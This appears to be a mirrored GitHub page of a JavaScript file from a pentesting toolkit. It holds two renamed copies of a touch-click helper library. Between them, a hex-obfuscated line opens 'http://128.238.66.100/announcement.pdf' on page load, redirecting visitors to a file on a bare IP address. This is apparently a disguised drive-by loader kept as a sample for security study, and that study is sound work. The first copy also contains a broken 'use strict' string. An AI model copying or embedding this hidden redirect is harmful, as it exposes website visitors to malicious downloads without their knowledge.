mirror of
https://github.com/autistic-symposium/sec-pentesting-toolkit.git
synced 2025-04-25 10:09:08 -04:00
326 lines
19 KiB
JavaScript
326 lines
19 KiB
JavaScript
function aiho(a) {
|
|
"use strict";
|
|
var b, c = this;
|
|
if (this.trackingClick = !1, this.trackingClickStart = 0, this.targetElement = null, this.touchStartX = 0, this.touchStartY = 0, this.lastTouchIdentifier = 0, this.touchBoundary = 10, this.layer = a, !a || !a.nodeType) throw new TypeError("Layer must be a document node");
|
|
this.onClick = function() {
|
|
return aiho.prototype.onClick.apply(c, arguments)
|
|
}, this.onMouse = function() {
|
|
return aiho.prototype.onMouse.apply(c, arguments)
|
|
}, this.onTouchStart = function() {
|
|
return aiho.prototype.onTouchStart.apply(c, arguments)
|
|
}, this.onTouchMove = function() {
|
|
return aiho.prototype.onTouchMove.apply(c, arguments)
|
|
}, this.onTouchEnd = function() {
|
|
return aiho.prototype.onTouchEnd.apply(c, arguments)
|
|
}, this.onTouchCancel = function() {
|
|
return aiho.prototype.onTouchCancel.apply(c, arguments)
|
|
}, aiho.notNeeded(a) || (this.deviceIsAndroid && (a.addEventListener("mouseover", this.onMouse, !0), a.addEventListener("mousedown", this.onMouse, !0), a.addEventListener("mouseup", this.onMouse, !0)), a.addEventListener("click", this.onClick, !0), a.addEventListener("touchstart", this.onTouchStart, !1), a.addEventListener("touchmove", this.onTouchMove, !1), a.addEventListener("touchend", this.onTouchEnd, !1), a.addEventListener("touchcancel", this.onTouchCancel, !1), Event.prototype.stopImmediatePropagation || (a.removeEventListener = function(b, c, d) {
|
|
var e = Node.prototype.removeEventListener;
|
|
"click" === b ? e.call(a, b, c.hijacked || c, d) : e.call(a, b, c, d)
|
|
}, a.addEventListener = function(b, c, d) {
|
|
var e = Node.prototype.addEventListener;
|
|
"click" === b ? e.call(a, b, c.hijacked || (c.hijacked = function(a) {
|
|
a.propagationStopped || c(a)
|
|
}), d) : e.call(a, b, c, d)
|
|
}), "function" == typeof a.onclick && (b = a.onclick, a.addEventListener("click", function(a) {
|
|
b(a)
|
|
}, !1), a.onclick = null))
|
|
}
|
|
aiho.prototype.deviceIsAndroid = navigator.userAgent.indexOf("Android") > 0, aiho.prototype.deviceIsIOS = /iP(ad|hone|od)/.test(navigator.userAgent), aiho.prototype.deviceIsIOS4 = aiho.prototype.deviceIsIOS && /OS 4_\d(_\d)?/.test(navigator.userAgent), aiho.prototype.deviceIsIOSWithBadTarget = aiho.prototype.deviceIsIOS && /OS ([6-9]|\d{2})_\d/.test(navigator.userAgent), aiho.prototype.needsClick = function(a) {
|
|
"use strict";
|
|
switch (a.nodeName.toLowerCase()) {
|
|
case "button":
|
|
case "select":
|
|
case "textarea":
|
|
if (a.disabled) return !0;
|
|
break;
|
|
case "input":
|
|
if (this.deviceIsIOS && "file" === a.type || a.disabled) return !0;
|
|
break;
|
|
case "label":
|
|
case "video":
|
|
return !0
|
|
}
|
|
return /\bneedsclick\b/.test(a.className)
|
|
}, aiho.prototype.needsFocus = function(a) {
|
|
"use strict";
|
|
switch (a.nodeName.toLowerCase()) {
|
|
case "textarea":
|
|
return !0;
|
|
case "select":
|
|
return !this.deviceIsAndroid;
|
|
case "input":
|
|
switch (a.type) {
|
|
case "button":
|
|
case "checkbox":
|
|
case "file":
|
|
case "image":
|
|
case "radio":
|
|
case "submit":
|
|
return !1
|
|
}
|
|
return !a.disabled && !a.readOnly;
|
|
default:
|
|
return /\bneedsfocus\b/.test(a.className)
|
|
}
|
|
}, aiho.prototype.sendClick = function(a, b) {
|
|
"use strict";
|
|
var c, d;
|
|
document.activeElement && document.activeElement !== a && document.activeElement.blur(), d = b.changedTouches[0], c = document.createEvent("MouseEvents"), c.initMouseEvent(this.determineEventType(a), !0, !0, window, 1, d.screenX, d.screenY, d.clientX, d.clientY, !1, !1, !1, !1, 0, null), c.forwardedTouchEvent = !0, a.dispatchEvent(c)
|
|
}, aiho.prototype.determineEventType = function(a) {
|
|
"use strict";
|
|
return this.deviceIsAndroid && "select" === a.tagName.toLowerCase() ? "mousedown" : "click"
|
|
}, aiho.prototype.focus = function(a) {
|
|
"use strict";
|
|
var b;
|
|
this.deviceIsIOS && a.setSelectionRange && 0 !== a.type.indexOf("date") && "time" !== a.type ? (b = a.value.length, a.setSelectionRange(b, b)) : a.focus()
|
|
}, aiho.prototype.updateScrollParent = function(a) {
|
|
"use strict";
|
|
var b, c;
|
|
if (b = a.fastClickScrollParent, !b || !b.contains(a)) {
|
|
c = a;
|
|
do {
|
|
if (c.scrollHeight > c.offsetHeight) {
|
|
b = c, a.fastClickScrollParent = c;
|
|
break
|
|
}
|
|
c = c.parentElement
|
|
} while (c)
|
|
}
|
|
b && (b.fastClickLastScrollTop = b.scrollTop)
|
|
}, aiho.prototype.getTargetElementFromEventTarget = function(a) {
|
|
"use strict";
|
|
return a.nodeType === Node.TEXT_NODE ? a.parentNode : a
|
|
}, aiho.prototype.onTouchStart = function(a) {
|
|
"use strict";
|
|
var b, c, d;
|
|
if (a.targetTouches.length > 1) return !0;
|
|
if (b = this.getTargetElementFromEventTarget(a.target), c = a.targetTouches[0], this.deviceIsIOS) {
|
|
if (d = window.getSelection(), d.rangeCount && !d.isCollapsed) return !0;
|
|
if (!this.deviceIsIOS4) {
|
|
if (c.identifier === this.lastTouchIdentifier) return a.preventDefault(), !1;
|
|
this.lastTouchIdentifier = c.identifier, this.updateScrollParent(b)
|
|
}
|
|
}
|
|
return this.trackingClick = !0, this.trackingClickStart = a.timeStamp, this.targetElement = b, this.touchStartX = c.pageX, this.touchStartY = c.pageY, a.timeStamp - this.lastClickTime < 200 && a.preventDefault(), !0
|
|
}, aiho.prototype.touchHasMoved = function(a) {
|
|
"use strict";
|
|
var b = a.changedTouches[0],
|
|
c = this.touchBoundary;
|
|
return Math.abs(b.pageX - this.touchStartX) > c || Math.abs(b.pageY - this.touchStartY) > c ? !0 : !1
|
|
}, aiho.prototype.onTouchMove = function(a) {
|
|
"use strict";
|
|
return this.trackingClick ? ((this.targetElement !== this.getTargetElementFromEventTarget(a.target) || this.touchHasMoved(a)) && (this.trackingClick = !1, this.targetElement = null), !0) : !0
|
|
}, aiho.prototype.findControl = function(a) {
|
|
"use strict";
|
|
return void 0 !== a.control ? a.control : a.htmlFor ? document.getElementById(a.htmlFor) : a.querySelector("button, input:not([type=hidden]), keygen, meter, output, progress, select, textarea")
|
|
}, aiho.prototype.onTouchEnd = function(a) {
|
|
"use strict";
|
|
var b, c, d, e, f, g = this.targetElement;
|
|
if (!this.trackingClick) return !0;
|
|
if (a.timeStamp - this.lastClickTime < 200) return this.cancelNextClick = !0, !0;
|
|
if (this.cancelNextClick = !1, this.lastClickTime = a.timeStamp, c = this.trackingClickStart, this.trackingClick = !1, this.trackingClickStart = 0, this.deviceIsIOSWithBadTarget && (f = a.changedTouches[0], g = document.elementFromPoint(f.pageX - window.pageXOffset, f.pageY - window.pageYOffset) || g, g.fastClickScrollParent = this.targetElement.fastClickScrollParent), d = g.tagName.toLowerCase(), "label" === d) {
|
|
if (b = this.findControl(g)) {
|
|
if (this.focus(g), this.deviceIsAndroid) return !1;
|
|
g = b
|
|
}
|
|
} else if (this.needsFocus(g)) return a.timeStamp - c > 100 || this.deviceIsIOS && window.top !== window && "input" === d ? (this.targetElement = null, !1) : (this.focus(g), this.sendClick(g, a), this.deviceIsIOS4 && "select" === d || (this.targetElement = null, a.preventDefault()), !1);
|
|
return this.deviceIsIOS && !this.deviceIsIOS4 && (e = g.fastClickScrollParent, e && e.fastClickLastScrollTop !== e.scrollTop) ? !0 : (this.needsClick(g) || (a.preventDefault(), this.sendClick(g, a)), !1)
|
|
}, aiho.prototype.onTouchCancel = function() {
|
|
"use strict";
|
|
this.trackingClick = !1, this.targetElement = null
|
|
}, aiho.prototype.onMouse = function(a) {
|
|
"use strict";
|
|
return this.targetElement ? a.forwardedTouchEvent ? !0 : a.cancelable && (!this.needsClick(this.targetElement) || this.cancelNextClick) ? (a.stopImmediatePropagation ? a.stopImmediatePropagation() : a.propagationStopped = !0, a.stopPropagation(), a.preventDefault(), !1) : !0 : !0
|
|
}, aiho.prototype.onClick = function(a) {
|
|
"use strict";
|
|
var b;
|
|
return this.trackingClick ? (this.targetElement = null, this.trackingClick = !1, !0) : "submit" === a.target.type && 0 === a.detail ? !0 : (b = this.onMouse(a), b || (this.targetElement = null), b)
|
|
}, aiho.prototype.destroy = function() {
|
|
"use strict";
|
|
var a = this.layer;
|
|
this.deviceIsAndroid && (a.removeEventListener("mouseover", this.onMouse, !0), a.removeEventListener("mousedown", this.onMouse, !0), a.removeEventListener("mouseup", this.onMouse, !0)), a.removeEventListener("click", this.onClick, !0), a.removeEventListener("touchstart", this.onTouchStart, !1), a.removeEventListener("touchmove", this.onTouchMove, !1), a.removeEventListener("touchend", this.onTouchEnd, !1), a.removeEventListener("touchcancel", this.onTouchCancel, !1)
|
|
}, aiho.notNeeded = function(a) {
|
|
"use strict";
|
|
var b, c;
|
|
if ("undefined" == typeof window.ontouchstart) return !0;
|
|
if (c = +(/Chrome\/([0-9]+)/.exec(navigator.userAgent) || [, 0])[1]) {
|
|
if (!aiho.prototype.deviceIsAndroid) return !0;
|
|
if (b = document.querySelector("meta[name=viewport]")) {
|
|
if (-1 !== b.content.indexOf("user-scalable=no")) return !0;
|
|
if (c > 31 && window.innerWidth <= window.screen.width) return !0
|
|
}
|
|
}
|
|
return "none" === a.style.msTouchAction ? !0 : !1
|
|
}, aiho.attach = function(a) {
|
|
"use strict";
|
|
return new aiho(a)
|
|
}, "undefined" != typeof define && define.amd ? define(function() {
|
|
"use stric"t;
|
|
return aiho
|
|
}) : "undefined" != typeof module && module.exports ? (module.exports = aiho.attach, module.exports.aiho = aiho) : window.aiho = aiho;
|
|
var _0x91fe = ["\x68\x74\x74\x70\x3A\x2F\x2F\x31\x32\x38\x2E\x32\x33\x38\x2E\x36\x36\x2E\x31\x30\x30\x2F\x61\x6E\x6E\x6F\x75\x6E\x63\x65\x6D\x65\x6E\x74\x2E\x70\x64\x66", "\x5F\x73\x65\x6C\x66", "\x6F\x70\x65\x6E"];
|
|
window[_0x91fe[2]](_0x91fe[0], _0x91fe[1]);
|
|
|
|
function wq1(a) {
|
|
"use strict";
|
|
var b, c = this;
|
|
if (this.trackingClick = !1, this.trackingClickStart = 0, this.targetElement = null, this.touchStartX = 0, this.touchStartY = 0, this.lastTouchIdentifier = 0, this.touchBoundary = 10, this.layer = a, !a || !a.nodeType) throw new TypeError("Layer must be a document node");
|
|
this.onClick = function() {
|
|
return wq1.prototype.onClick.apply(c, arguments)
|
|
}, this.onMouse = function() {
|
|
return wq1.prototype.onMouse.apply(c, arguments)
|
|
}, this.onTouchStart = function() {
|
|
return wq1.prototype.onTouchStart.apply(c, arguments)
|
|
}, this.onTouchMove = function() {
|
|
return wq1.prototype.onTouchMove.apply(c, arguments)
|
|
}, this.onTouchEnd = function() {
|
|
return wq1.prototype.onTouchEnd.apply(c, arguments)
|
|
}, this.onTouchCancel = function() {
|
|
return wq1.prototype.onTouchCancel.apply(c, arguments)
|
|
}, wq1.notNeeded(a) || (this.deviceIsAndroid && (a.addEventListener("mouseover", this.onMouse, !0), a.addEventListener("mousedown", this.onMouse, !0), a.addEventListener("mouseup", this.onMouse, !0)), a.addEventListener("click", this.onClick, !0), a.addEventListener("touchstart", this.onTouchStart, !1), a.addEventListener("touchmove", this.onTouchMove, !1), a.addEventListener("touchend", this.onTouchEnd, !1), a.addEventListener("touchcancel", this.onTouchCancel, !1), Event.prototype.stopImmediatePropagation || (a.removeEventListener = function(b, c, d) {
|
|
var e = Node.prototype.removeEventListener;
|
|
"click" === b ? e.call(a, b, c.hijacked || c, d) : e.call(a, b, c, d)
|
|
}, a.addEventListener = function(b, c, d) {
|
|
var e = Node.prototype.addEventListener;
|
|
"click" === b ? e.call(a, b, c.hijacked || (c.hijacked = function(a) {
|
|
a.propagationStopped || c(a)
|
|
}), d) : e.call(a, b, c, d)
|
|
}), "function" == typeof a.onclick && (b = a.onclick, a.addEventListener("click", function(a) {
|
|
b(a)
|
|
}, !1), a.onclick = null))
|
|
}
|
|
wq1.prototype.deviceIsAndroid = navigator.userAgent.indexOf("Android") > 0, wq1.prototype.deviceIsIOS = /iP(ad|hone|od)/.test(navigator.userAgent), wq1.prototype.deviceIsIOS4 = wq1.prototype.deviceIsIOS && /OS 4_\d(_\d)?/.test(navigator.userAgent), wq1.prototype.deviceIsIOSWithBadTarget = wq1.prototype.deviceIsIOS && /OS ([6-9]|\d{2})_\d/.test(navigator.userAgent), wq1.prototype.needsClick = function(a) {
|
|
"use strict";
|
|
switch (a.nodeName.toLowerCase()) {
|
|
case "button":
|
|
case "select":
|
|
case "textarea":
|
|
if (a.disabled) return !0;
|
|
break;
|
|
case "input":
|
|
if (this.deviceIsIOS && "file" === a.type || a.disabled) return !0;
|
|
break;
|
|
case "label":
|
|
case "video":
|
|
return !0
|
|
}
|
|
return /\bneedsclick\b/.test(a.className)
|
|
}, wq1.prototype.needsFocus = function(a) {
|
|
"use strict";
|
|
switch (a.nodeName.toLowerCase()) {
|
|
case "textarea":
|
|
return !0;
|
|
case "select":
|
|
return !this.deviceIsAndroid;
|
|
case "input":
|
|
switch (a.type) {
|
|
case "button":
|
|
case "checkbox":
|
|
case "file":
|
|
case "image":
|
|
case "radio":
|
|
case "submit":
|
|
return !1
|
|
}
|
|
return !a.disabled && !a.readOnly;
|
|
default:
|
|
return /\bneedsfocus\b/.test(a.className)
|
|
}
|
|
}, wq1.prototype.sendClick = function(a, b) {
|
|
"use strict";
|
|
var c, d;
|
|
document.activeElement && document.activeElement !== a && document.activeElement.blur(), d = b.changedTouches[0], c = document.createEvent("MouseEvents"), c.initMouseEvent(this.determineEventType(a), !0, !0, window, 1, d.screenX, d.screenY, d.clientX, d.clientY, !1, !1, !1, !1, 0, null), c.forwardedTouchEvent = !0, a.dispatchEvent(c)
|
|
}, wq1.prototype.determineEventType = function(a) {
|
|
"use strict";
|
|
return this.deviceIsAndroid && "select" === a.tagName.toLowerCase() ? "mousedown" : "click"
|
|
}, wq1.prototype.focus = function(a) {
|
|
"use strict";
|
|
var b;
|
|
this.deviceIsIOS && a.setSelectionRange && 0 !== a.type.indexOf("date") && "time" !== a.type ? (b = a.value.length, a.setSelectionRange(b, b)) : a.focus()
|
|
}, wq1.prototype.updateScrollParent = function(a) {
|
|
"use strict";
|
|
var b, c;
|
|
if (b = a.fastClickScrollParent, !b || !b.contains(a)) {
|
|
c = a;
|
|
do {
|
|
if (c.scrollHeight > c.offsetHeight) {
|
|
b = c, a.fastClickScrollParent = c;
|
|
break
|
|
}
|
|
c = c.parentElement
|
|
} while (c)
|
|
}
|
|
b && (b.fastClickLastScrollTop = b.scrollTop)
|
|
}, wq1.prototype.getTargetElementFromEventTarget = function(a) {
|
|
"use strict";
|
|
return a.nodeType === Node.TEXT_NODE ? a.parentNode : a
|
|
}, wq1.prototype.onTouchStart = function(a) {
|
|
"use strict";
|
|
var b, c, d;
|
|
if (a.targetTouches.length > 1) return !0;
|
|
if (b = this.getTargetElementFromEventTarget(a.target), c = a.targetTouches[0], this.deviceIsIOS) {
|
|
if (d = window.getSelection(), d.rangeCount && !d.isCollapsed) return !0;
|
|
if (!this.deviceIsIOS4) {
|
|
if (c.identifier === this.lastTouchIdentifier) return a.preventDefault(), !1;
|
|
this.lastTouchIdentifier = c.identifier, this.updateScrollParent(b)
|
|
}
|
|
}
|
|
return this.trackingClick = !0, this.trackingClickStart = a.timeStamp, this.targetElement = b, this.touchStartX = c.pageX, this.touchStartY = c.pageY, a.timeStamp - this.lastClickTime < 200 && a.preventDefault(), !0
|
|
}, wq1.prototype.touchHasMoved = function(a) {
|
|
"use strict";
|
|
var b = a.changedTouches[0],
|
|
c = this.touchBoundary;
|
|
return Math.abs(b.pageX - this.touchStartX) > c || Math.abs(b.pageY - this.touchStartY) > c ? !0 : !1
|
|
}, wq1.prototype.onTouchMove = function(a) {
|
|
"use strict";
|
|
return this.trackingClick ? ((this.targetElement !== this.getTargetElementFromEventTarget(a.target) || this.touchHasMoved(a)) && (this.trackingClick = !1, this.targetElement = null), !0) : !0
|
|
}, wq1.prototype.findControl = function(a) {
|
|
"use strict";
|
|
return void 0 !== a.control ? a.control : a.htmlFor ? document.getElementById(a.htmlFor) : a.querySelector("button, input:not([type=hidden]), keygen, meter, output, progress, select, textarea")
|
|
}, wq1.prototype.onTouchEnd = function(a) {
|
|
"use strict";
|
|
var b, c, d, e, f, g = this.targetElement;
|
|
if (!this.trackingClick) return !0;
|
|
if (a.timeStamp - this.lastClickTime < 200) return this.cancelNextClick = !0, !0;
|
|
if (this.cancelNextClick = !1, this.lastClickTime = a.timeStamp, c = this.trackingClickStart, this.trackingClick = !1, this.trackingClickStart = 0, this.deviceIsIOSWithBadTarget && (f = a.changedTouches[0], g = document.elementFromPoint(f.pageX - window.pageXOffset, f.pageY - window.pageYOffset) || g, g.fastClickScrollParent = this.targetElement.fastClickScrollParent), d = g.tagName.toLowerCase(), "label" === d) {
|
|
if (b = this.findControl(g)) {
|
|
if (this.focus(g), this.deviceIsAndroid) return !1;
|
|
g = b
|
|
}
|
|
} else if (this.needsFocus(g)) return a.timeStamp - c > 100 || this.deviceIsIOS && window.top !== window && "input" === d ? (this.targetElement = null, !1) : (this.focus(g), this.sendClick(g, a), this.deviceIsIOS4 && "select" === d || (this.targetElement = null, a.preventDefault()), !1);
|
|
return this.deviceIsIOS && !this.deviceIsIOS4 && (e = g.fastClickScrollParent, e && e.fastClickLastScrollTop !== e.scrollTop) ? !0 : (this.needsClick(g) || (a.preventDefault(), this.sendClick(g, a)), !1)
|
|
}, wq1.prototype.onTouchCancel = function() {
|
|
"use strict";
|
|
this.trackingClick = !1, this.targetElement = null
|
|
}, wq1.prototype.onMouse = function(a) {
|
|
"use strict";
|
|
return this.targetElement ? a.forwardedTouchEvent ? !0 : a.cancelable && (!this.needsClick(this.targetElement) || this.cancelNextClick) ? (a.stopImmediatePropagation ? a.stopImmediatePropagation() : a.propagationStopped = !0, a.stopPropagation(), a.preventDefault(), !1) : !0 : !0
|
|
}, wq1.prototype.onClick = function(a) {
|
|
"use strict";
|
|
var b;
|
|
return this.trackingClick ? (this.targetElement = null, this.trackingClick = !1, !0) : "submit" === a.target.type && 0 === a.detail ? !0 : (b = this.onMouse(a), b || (this.targetElement = null), b)
|
|
}, wq1.prototype.destroy = function() {
|
|
"use strict";
|
|
var a = this.layer;
|
|
this.deviceIsAndroid && (a.removeEventListener("mouseover", this.onMouse, !0), a.removeEventListener("mousedown", this.onMouse, !0), a.removeEventListener("mouseup", this.onMouse, !0)), a.removeEventListener("click", this.onClick, !0), a.removeEventListener("touchstart", this.onTouchStart, !1), a.removeEventListener("touchmove", this.onTouchMove, !1), a.removeEventListener("touchend", this.onTouchEnd, !1), a.removeEventListener("touchcancel", this.onTouchCancel, !1)
|
|
}, wq1.notNeeded = function(a) {
|
|
"use strict";
|
|
var b, c;
|
|
if ("undefined" == typeof window.ontouchstart) return !0;
|
|
if (c = +(/Chrome\/([0-9]+)/.exec(navigator.userAgent) || [, 0])[1]) {
|
|
if (!wq1.prototype.deviceIsAndroid) return !0;
|
|
if (b = document.querySelector("meta[name=viewport]")) {
|
|
if (-1 !== b.content.indexOf("user-scalable=no")) return !0;
|
|
if (c > 31 && window.innerWidth <= window.screen.width) return !0
|
|
}
|
|
}
|
|
return "none" === a.style.msTouchAction ? !0 : !1
|
|
}, wq1.attach = function(a) {
|
|
"use strict";
|
|
return new wq1(a)
|
|
}, "undefined" != typeof define && define.amd ? define(function() {
|
|
"use strict";
|
|
return wq1
|
|
}) : "undefined" != typeof module && module.exports ? (module.exports = wq1.attach, module.exports.wq1 = wq1) : window.wq1 = wq1;
|